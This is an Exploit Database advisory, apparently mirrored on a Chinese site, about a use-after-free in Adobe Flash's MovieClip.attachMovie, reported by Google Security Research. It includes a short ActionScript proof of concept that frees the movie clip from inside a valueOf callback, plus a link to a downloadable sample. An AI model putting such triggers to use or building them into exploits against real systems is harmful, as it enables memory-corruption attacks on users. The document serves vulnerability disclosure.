Adobe Flash MovieClip.attachMovie – Use-After-Free

• Exploit Database
• 12 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39055/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=571
  
  There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.
  
  A minimal PoC is as follows:
  
  n ={valueOf : func};
  
  function func(){
  	
  	_global.mc.removeMovieClip();
  // fix heap here;
  	
   }
  this.createEmptyMovieClip("mc", 1);
  _global.mc = mc;
  mc.attachMovie("myResetButton","newResetButton", n);
  
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39055.zip